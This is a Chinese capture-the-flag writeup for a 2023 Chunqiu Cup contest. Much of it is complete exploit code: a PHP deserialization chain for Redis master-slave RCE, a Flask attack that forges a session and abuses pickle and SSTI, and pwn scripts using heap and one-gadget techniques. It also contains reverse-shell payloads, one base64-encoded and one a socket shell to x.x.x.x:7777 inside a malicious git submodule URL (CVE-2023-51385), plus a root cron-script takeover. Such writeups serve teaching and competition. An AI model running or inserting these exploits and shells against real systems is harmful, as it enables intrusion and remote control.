2023年春秋杯网络安全联赛冬季赛 Writeup

news2024/11/25 9:35:08

文章目录

  • Web
    • ezezez_php
    • picup
  • Misc
    • 谁偷吃了外卖
    • modules
    • 明文混淆
  • Pwn
    • nmanager
    • book
  • Re
    • upx2023
  • Crypto
    • CF is Crypto Faker
  • 挑战题
    • 勒索流量
    • Ezdede
  • 可信计算

在这里插入图片描述

Web

ezezez_php

反序列化打redis主从复制RCE:https://www.cnblogs.com/xiaozi/p/13089906.html

<?php 
class Rd
{
    public $ending;
    public $cl;
    public $poc;

    public function __destruct(){
        // echo "All matters have concluded"."</br>";
    }

    public function __call($name, $arg){
        foreach ($arg as $key => $value) {
            if ($arg[0]['POC'] == "0.o") {
                $this->cl->var1 = "get";
            }
        }
    }
}

class Poc
{
    public $payload;
    public $fun;

    public function __set($name, $value){
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod){
        echo "Have you genuinely accomplished what you set out to do?"."</br>";
        file_get_contents($paylaod);
    }
}

class Er
{
    public $symbol;
    public $Flag;

    public function __construct(){
        $this->symbol = True;
    }

    public function __set($name, $value){   
        if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
               $value($this->Flag);
        }
    else {
    echo "NoNoNo,please you can look hint.php"."</br>";
    }
  }
}

class Ha
{
    public $start;
    public $start1;
    public $start2;

    public function __construct(){
        // echo $this->start1 . "__construct" . "</br>";
    }

    public function __destruct(){
        if ($this->start2 === "o.0") {
            $this->start1->Love($this->start);
            // echo "You are Good!"."</br>";
        }
    }
}

function get($url) {
    // $url=base64_decode($url);
    // var_dump($url);
    // $ch = curl_init();
    // curl_setopt($ch, CURLOPT_URL, $url);
    // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // curl_setopt($ch, CURLOPT_HEADER, 0);
    // $output = curl_exec($ch);
    // $result_info = curl_getinfo($ch);
    // var_dump($result_info);
    // curl_close($ch);
    // var_dump($output);
}

// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get()

// payload 按顺序发,公网上建好evil redis-server
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777";
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $payload = "dict://127.0.0.1:6379/slave:no:one";
$payload = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';

echo(serialize($Ha));
 ?>

image.png

picup

题目模仿了php后缀,骗人传php上去,以为能解析,结果不能,打下来才发现是python
先正常的登录和注册,注册成功后,上传完成之后回回显一个路径:**/pic.php?pic=**
测试发现能够进行文件读取 测试双写…/ 发现是能够路径穿越的,在/app/app.py下发现了文件源码

/pic.php?pic=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././app/app.py

image.png

import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf

users=Users()

app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
    if not session or not session.get('username'):
        return redirect("login.php")

    if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
        filepath=os.path.join("./uploads",filename)
        request.files['file'].save(filepath)
        return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
    return render_template("index.html")

@app.route('/login.php',methods=['GET','POST'])
def login():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and users.login(username,password):
            session['username']=username
            return "Login success! <a href='/'>Click here to redirect.</a>"
        else:
            return "Login fail!"
    return render_template("login.html")

@app.route('/register.php',methods=['GET','POST'])
def register():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
            str1 = "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
            return str1
        else:
            return "Register fail!"
    return render_template("register.html")

@app.route('/pic.php',methods=['GET','POST'])
def pic():
    if not session or not session.get('username'):
        return redirect("login.php")
    if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
        if session.get('username')=="admin":
            return pickle.load(open(filepath,"rb"))
        else:
            return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
    res="<h1>files in ./uploads/</h1><br>"
    for f in os.listdir("./uploads"):
        res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

理清楚逻辑后发现在注册路由处存在有一个格式化的漏洞 会进行两边format

image.png
username可控,我们可以通过此处 把secret_key获取到

app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()

Burp发送

POST /register.php HTTP/1.1
Host: eci-2zeeg9ho73gvfpqkxn8o.cloudeci1.ichunqiu.com:80
Content-Length: 42
Cache-Control: max-age=0
Origin: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://eci-2zeho6uw3ioi626owa2x.cloudeci1.ichunqiu.com/register.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1699615725; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O
Connection: close

username={users.passwords}&password=123456

即可暴露出admin的password
image.png
拿到之后就可以利用他来进行 session的构造

pip3 install flask_unsign

$$ flask-unsign --sign --cookie '{"username":"admin"}' --secret 294f3d30bab18f91f5cfe2e23881f5eb

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZawBeQ.i4Iamt9-7GO5T0vQ0T4G_ZVngDE

此时我们的身份就是admin ,在回到上面的源码;此处存在pickle 反序列化漏洞,但需要admin
image.png
构造payload waf限制的太多,直接上传模板,反序列化触发模板 RCE
反序列化 payload

def dumps(filename):
    class Exploit(object):
        def __reduce__(self):
            return (render_template, (f"uploads/{filename}", ))
    a = Exploit()
    b = pickle.dumps(a)
    print(len(b))
    print((b))

    with open('uploads/test.pkl','wb') as f:
        f.write(b)

之后在上传触发

def req(url,payload,filename):
    print("payload:",len(payload))
    with open(f"uploads/{filename}", 'w') as file:
        file.write(payload)

    files = {'file': (filename, open(f"uploads/{filename}", 'rb'))}
    response1 = requests.post(url, headers=headers, files=files)
    # print(response.text)

    files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))}
    response = requests.post(url, headers=headers, files=files)
    # print(response.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)
import random
import pickle
from flask import render_template
import requests


headers = {
    'Cookie': "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Zav8jw.dVtToaA7T1_MHQZTyr9s5LI8fGI"
}
def dumps(filename):
    class Exploit(object):
        def __reduce__(self):
            return (render_template, (f"uploads/{filename}", ))
    a = Exploit()
    b = pickle.dumps(a)
    print(len(b))
    print((b))

    with open('uploads/test.pkl','wb') as f:
        f.write(b)
def req(url,payload,filename):
    print("payload:",len(payload))
    with open(f"uploads/{filename}", 'w') as file:
        file.write(payload)

    files = {'file': (filename, open(f"uploads/{filename}", 'rb'))}
    response1 = requests.post(url, headers=headers, files=files)
    # print(response.text)

    files = {'file': ("test.pkl", open(f"uploads/test.pkl", 'rb'))}
    response = requests.post(url, headers=headers, files=files)
    # print(response.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)
    pickle_loads_url = url+"/pic.php?pic=test.pkl"
    response3 = requests.get(pickle_loads_url,headers=headers)
    print(response3.text)

def rev_shell(ip,port):
    rev = "L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEuMS4xLjEiLDk5OTkpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn"
    import base64

    command = base64.b64encode(base64.b64decode(rev).replace(b"1.1.1.1",ip).replace(b'9999',port)).decode()

    rev_command = f"&a=echo {command}|base64 -d|bash"
    pickle_loads_url = url + "/pic.php?pic=test.pkl"
    print(pickle_loads_url)
    rev_r = requests.get(url=pickle_loads_url+rev_command,headers=headers)
    if rev_r.status_code == 200:
        print(rev_r.url)
        print("rev shell ")

if __name__ == "__main__":
    ip = b"1.1.1.1"
    port = b"9999"
    url = "http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/"

    payload = [
        '{%set x=config.update(a=g.__class__.__mro__[1].__subclasses__())%}',
        '{%set x=config.update(q=config.a[360])%}',
        '{{config.q(request.args.a,shell=1)}}'
    ]
    for p in payload:
        filename = str(random.randint(1, 1000))
        dumps(filename)
        req(url,p,filename)
    # rev_shell(ip,port)

触发之后就会生成一个可以执行任意命令但是无回显的页面
带上admin cookie 访问 即可获得一个反弹shell

http://eci-2ze0koz63trpelqirpj2.cloudeci1.ichunqiu.com/pic.php?pic=test.pkl&a=echo%20L3Vzci9iaW4vcHl0aG9uMy44ICAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE3NS4xNzguNzMuMTQxIiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==|base64%20-d|bash

获取shell之后 在/app目录下有一个clear.sh的脚本每10分钟以root身份执行一次 普通用户可写
脚本内容 替换为chmod 777 /flag,等待修改权限即可读取flag

Misc

谁偷吃了外卖

图片末尾附加了ZIP压缩包,解压下去得到

image.png
很明显应该先把这些用户名中间的数据提取出来按照用户名顺序拼接起来,像是base64,但是base64的填充符号没有-,只有+/+这里有了,根据提示猜测把-替换成/,得到的解码是zip数据

import zipfile
import re
import base64

with zipfile.ZipFile("C:\\Users\Administrator\\Downloads\\外卖箱.zip", 'r') as zf:
    fileNameList = zf.namelist()
    infoDict = {}
    for fileName in fileNameList:
        matchedData = re.findall(r'\d{1,}_[a-zA-Z0-9-+=\/]{4}', fileName)
        if matchedData != []:
            infoDict[matchedData[0][0:matchedData[0].find('_')]] = matchedData[0][matchedData[0].find('_')+1:]
    content = ''
    for idx in range(2, 10898+1):
        content += infoDict[str(idx)]
with open('C:\\Users\Administrator\\Downloads\\data.zip', 'wb') as f:
    f.write(base64.b64decode(content.replace('-', '/')))

根据提示这里应该补全zip的文件头

image.png
解压出来很明显这里应该是明文攻击了,这里得到第一部分flag

image.png
直接ARCHPR跑明文攻击即可,根据这个钥匙.png的描述,应该使用Bandzip进行压缩

image.png
image.png
解压得到第二部分flag

flag{W1sh_y0u_AaaAaaaaaaaaaaa_w0nderfu1_CTF_journe9}

modules

CVE-2023-51385
gitee一搜一大堆大家刚fork的仓库,直接选一个搭一个顺风车

https://gitee.com/rtpyzaL/CVE-2023-51385_test

执行python脚本 获取shell

[submodule "cve"]
	path = cve
	url = ssh://`python 1.py`foo.ichunqiu.com/bar
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

image.png

明文混淆

明文攻击
image.png
这个LICENSE.txt直接网上找相同大小的
image.png
下载LICENSE.txt但是压缩之后发现CRC和题目给的不一样,猜测题目跟这些的还是有不同,不过没关系,不需要那么多的明文,直接用第一行的明文就够了,bkcrack直接爆破得到密钥,然后爆破密码

image.png
得到压缩包密码:R05VIEdQTHYz
将混淆的内容直接一步一步执行输出下去就行
image.png

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
// var_dump($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));

$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";
var_dump('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));

var_dump(gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA=='))); 
?>

image.png

flag{s1mpL3_z1p_@nd_w365heLl!!!}

Pwn

nmanager

校验函数的seed, 本地跟着跑一个就行了,modify里面没做范围限制,基本是任意写,然后输出, leak出libc后 ogg一把梭就是, 不过没有直接能用的ogg, 把rbp最后弄到bss上就可以了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int i; // [rsp+1Ch] [rbp-3C4h]
  char v6[960]; // [rsp+20h] [rbp-3C0h] BYREF

  init(argc, argv, envp);
  info();
  v3 = time(0LL);
  srand(v3);
  memset(pss, 0, sizeof(pss));
  for ( i = 0; i <= 0; ++i )
    pss[i] = characters[rand() % 62];
  printf("input password: ");
  __isoc99_scanf("%[^\n]", &ipt);
  check(&ipt, pss, &ch1, valid, v6);
  return 0;
}
-----------------------------------------------------------------------
unsigned __int64 __fastcall modify(__int64 a1)
{
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  do
  {
    puts("## select the idx you want modify ##");
    __isoc99_scanf("%d", &n);
    printf("gender: ");
    read(0, (void *)(120LL * n + a1), 0x20uLL);
    printf("age: ");
    __isoc99_scanf("%lld", 120LL * n + a1 + 32);
    printf("name: ");
    read(0, (void *)(120LL * n + a1 + 40), 0x40uLL);
    printf(
      "[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
      (unsigned int)n,
      (const char *)(120LL * n + a1 + 40),
      *(_QWORD *)(120LL * n + a1 + 32),
      (const char *)(120LL * n + a1));
    puts("quit now?(Y/y)");
    read(0, buf, 3uLL);
  }
  while ( buf[0] != 121 && buf[0] != 89 );
  return v3 - __readfsqword(0x28u);
}

exp整体略乱

from pwn import *
from LibcSearcher import *
import sys
from ctypes import *
context(arch = 'amd64', os = 'linux', log_level = 'info')	#info

path = "./nmanager"
p = process(path)
#p = remote('8.147.131.156', 45025)
elf = ELF(path)
libc = cdll.LoadLibrary("./libc.so.6")

def g():
	gdb.attach(p)
	raw_input()

sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
rv = lambda arg : p.recv(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()

ch = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

seed = libc.time(0)
libc.srand(seed)

value = int.to_bytes(ch[libc.rand() % 62], 1, 'little')

ru(b'input password: ')
sl(value)

bss = 0x404000 + 0x600

res = rl()

if b'pass' in res:
	onegadget = [0xebcf1, 0xebcf5, 0xebcf8]
	sl(b'8')
	sla(b'der: ', b'BBBBBBB')
	sla(b'age: ', str(0x20).encode())
	sla(b'name: ', b'AAAAAAA')
	
	ru(b'BBBBBBB')
	res = rl()
	libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x29d90
	log.success('libc_base = ' + hex(libc_base))
	
	sla(b'quit now?', b'N')
	
	ogg = libc_base + onegadget[0]
	log.success("ogg = " + hex(ogg))
	sl(b'8')
	#g()
	sla(b'der: ', p64(bss) + p64(ogg))
	sla(b'age: ', str(0x20).encode())
	sla(b'name: ', b'AAAAAAA')
	sla(b'quit now?', b'Y')
	inv()

p.close()


book

经典菜单题, delete功能存在UAF, 而且show 与 edit都没有对应的检查, 没有对申请的大小做限制, 直接house of apple 这些基本都能直接给过,我这里是用我之前写的函数,懒得再过一遍了

//漏洞点
void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v0 = my_read();
  free(*((void **)&heap + v0));
}

int show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v1 = my_read();
  return puts(*((const char **)&heap + v1));
}

char *edit()
{
  int v1; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v1 = my_read();
  printf("content: ");
  return fgets(*((char **)&heap + v1), chunk[v1], stdin);
}

好像存在概率问题, 本地没概率,远程怪怪的, 不过最后加个cat flag基本上就全能命中了

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'info')	#info

path = "./book"
#p = process(path)
p = remote("8.147.131.183", 13743)
elf = ELF(path)
libc = elf.libc

def g():
	gdb.attach(p)
	raw_input()

sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
rv = lambda arg : p.recv(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()


def house_of_cat(heap_addr, vtables,first_exec=0, dif=0, rbp=0):
	
	if dif == 0:
		payload = p64(0) * 3	#_IO_stderr_2_1 && _wide_data
		payload += p64(1) + p64(2)	# fp->_wide_data->_IO_write_base < fp->_wide_data->_IO_write_ptr
	else:
		payload = p64(0) + p64(1) + p64(2)
	
	payload = payload.ljust(0x38 - dif, b'\x00') + p64(heap_addr + 0x40)	#springboard
	payload = payload.ljust(0x48 - dif, b'\x00') + p64(rbp)	#_IO_save_base --> rbp
	payload += p64(0) * 4
	payload = payload.ljust(0xa0 - dif, b'\x00') + p64(heap_addr) #it -> _wide_data_
	payload = payload.ljust(0xc0 - dif, b'\x00') + p64(1) #fp->_mode
	payload = payload.ljust(0xd8 - dif, b'\x00') + p64(vtables) #fp->vtables
	payload += p64(heap_addr + 0xe0)	#springboard
	payload = payload.ljust(0xf8 - dif, b'\x00') + p64(first_exec)	#target call_addr
	
	return payload


def choice(num):
	ru(b'> ')
	sl(str(num).encode())
	

def add(index, size):
	choice(1)
	ru(b'Index:')
	sl(str(index).encode())
	ru(b'what size :')
	sl(str(size).encode())


def free(index):
	choice(2)
	ru(b'Index:')
	sl(str(index).encode())


def show(index):
	choice(3)
	ru(b'Index:')
	sl(str(index).encode())


def edit(index, content):
	choice(4)
	ru(b'Index:')
	sl(str(index).encode())
	ru(b'content: ')
	sl(content)


add(11, 0x20)
add(12, 0x20)
free(11)
free(12)

show(11)
a = int.from_bytes(p.recv(5), 'little')

show(12)
b = int.from_bytes(p.recv(6), 'little')

heap_base = (a ^ b) - 0x2a0
log.success("heap_base = " + hex(heap_base))

add(0, 0x30)
add(1, 0x450)
add(2, 0x30)
add(3, 0x440)
add(4, 0x30)

free(1)

show(1)
libc.address = libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x219ce0
log.success("libc_base = " + hex(libc_base))

_IO_list_all = libc_base + 0x21a680
vtables = libc_base + 0x2160c0 + 0x30

add(5, 0x480)
free(3)

pay1 = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x330) + p64(_IO_list_all - 0x20)

edit(1, pay1)
add(6, 0x480)

pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rdx = libc_base + 0x00000000000796a2
pop_rbp = libc_base + 0x000000000002a2e0
pop_r12_r13_r14_r15 = next(libc.search(asm("pop r12; pop r13; pop r14; pop r15; ret")))
leave_ret = next(libc.search(asm("leave; ret")))

ogg = libc_base + 0xebc88

ans = p64(0)  + p64(pop_r12_r13_r14_r15) + p64(0) + p64(heap_base + 0x1100) + p64(leave_ret) * 2
ans += p64(pop_rdx) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rbp) + p64(heap_base + 0x100) + p64(ogg)
edit(6, ans)

magicgadget = libc_base + 0x000000000016a25a

payload = house_of_cat(heap_base + 0x7d0, vtables, magicgadget, 0x10, heap_base + 0x1100)
edit(3, payload)

#g()
choice(5)
sl(b'cat flag')

inv()

Re

upx2023

脱壳不能工具直接脱, 修改了特征,用010将里面的upx改成UPX就能直接脱壳了, 里面用的是一个随机数,但是随机数这玩意就是伪随机的, 所以主要是那个seed, time(NULL),所以得获取当时的时间, 看PE里面有文件生成的时间,基本就这个时间前了,加密函数change,每隔3个拿一个,然后每2个拿一个, 最后隔1个拿一个, 就是一个映射基本上, 每次变换过去的位置都一样, 提示是有flag{}包裹的, 所以对比flag{}之后的位置, 把seed跑出来就行了

unsigned int b = 1685762996;
for (int j = 0; j < b  + 0x1000; j++) {

		srand(j);
		c = rand() % 255;
		if (c != 0x6f) continue;
		c = rand() % 255;
		if (c != 0x18) continue;
		for (int k = 0; k < 9; k++) rand();
		c = rand() % 255;
		if (c != 0xaa) continue;
		c = rand() % 255;
		if (c != 0x2) continue;
		for (int k = 0; k < 18; k++) rand();
		c = rand() % 255;
		if (c != 0x80) continue;
		c = rand() % 255;
		if (c == 0x9b) {
			printf("%ld, ", j);
		}
	}

这里最后有结果的就是1682145110, 异或输出一下基本就能看到就是flag

	unsigned char data[42] = {
	0x09, 0x63, 0xD9, 0xF6, 0x58, 0xDD, 0x3F, 0x4C, 0x0F, 0x0B, 0x98, 0xC6, 0x65, 0x21, 0x41, 0xED,
	0xC4, 0x0B, 0x3A, 0x7B, 0xE5, 0x75, 0x5D, 0xA9, 0x31, 0x41, 0xD7, 0x52, 0x6C, 0x0A, 0xFA, 0xFD,
	0xFA, 0x84, 0xDB, 0x89, 0xCD, 0x7E, 0x27, 0x85, 0x13, 0x08
	};

	srand(1682145110);
	for (int i = 0; i < 42; i++) {
		c = rand() % 255;
		printf("%c", data[i] ^ c);
	} 
//f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191

因为最后也就是一个映射, 这里随便扔一组全不一样的进去,然后经过对比得到映射表,跟着表输出就是

	char res[] = "f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191";

	char s1[] = "flag{1234567890QWERTYUIOPASDFGHJKLZXCVBNM}";
	char r1[] = "f{48WYPFKCMlg13579QETUOADGJLXVN}a260RISHZB";

	
	for (int i = 0; i < 42; i++) {
		for (int j = 0; j < 42; j++) {
			if (s1[i] == r1[j]) {
				printf("%c", res[j]);
			}
		}
	} 
//flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}

Crypto

CF is Crypto Faker

import gmpy2
import initialize
from Crypto.Util.number import *

n = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3d2698476b6dd203811b6a2ec6a6e2a7e213ab719bcd3ab49bb864b10e9c78ea3f501c0e2213dfe431043bb6f0cc2e8d77bfb43869b843af1a99ae81b87811e101
r = 0x4f37fe985d13ffde9867fa0063f68dea79196408b1404eadf03ea59297d629c2183a4a6a6647b6c4c99dd43bae8c4fa4691a608d20170fd42b18aef7efb3ae01cd3
q = gmpy2.gcd(n,r)
p = n // q
phi0 = (p - 1) * (q - 1)
# parameters = initialize.initialize(p, q)
# wild_phi = parameters[0]
# wild_e = parameters[1]
trained_phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3bb712fdcba325655f111918472d4353a66854ccda50b63a1047278c15a4b39cde898d054db87092958c7c05f8fa566dcd969b1ff4b7d1935c375a4af3bfc341b0
trained_e = 0x2c22193ad9abcca2f67552fc76dd07b3ef883f3d755c95119cdf82bb6a07c970fd37e582bb49250d8efaa29b8a59c82059165c654206a9d7261f6b45a90dc69
c1 = 0x29289e3d9275147b885b5061637564cbee3e4d9f48e52694e594f020e49da9b24d9246b2437fb2221fa86ca1a277f3fdd7ab5cad4738a02b66d47703ef816844a84c6c209c8251e8961c9ba2c791649e022627f86932d9700c3b1dc086e8b2747d0a5604955387a935464d3866dd4100b2f3d57603c728761d1d8ef7fdbdcbee
c2 = 0x2b0059f88454e0e36269c809b5d5b6b28e5bab3c87b20f9e55635239331100a0a582241e7a385034698b61ebf24b519e868617ff67974cc907cc61be38755737f9a6dbeb7890ff55550b1af1ecf635112fcaaa8b07a3972b3c6728cbcf2a3973a4d7bd92affec7e065e0ae83cd36858e6d983785a3668a8b82709d78a69796af
print(trained_phi == phi0)
d = gmpy2.invert(trained_e,trained_phi)
m1 = pow(c1,d,n)
m2 = pow(c2,d,n)
flag = b"flag{" + long_to_bytes(m1) + long_to_bytes(m2) + b".}"
print(flag)

挑战题

勒索流量

经典的蚁剑流量,tcp.stream eq 41有一个docx但是没什么内容,没有找到flag

image.png
image.png
tcp.stream eq 48发现s3creT.txt
image.png
tcp.stream eq 49发现脚本
image.png

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib


def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex


from Crypto.Cipher import ARC4
import base64
import json

with open("./s3creT.txt", "r") as f:
    key = f.read()
key = calculate_md5(key)


def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res


def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res


def t1(data):
    import re
    from datetime import datetime, timedelta
    current_time = datetime.now()
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16) for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data


def decrypt(data, key):
    data = t1(data)
    data = rc4_decrypt(data, key)
    return data


def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data


def system(cmd):
    res = os.popen(cmd).read()
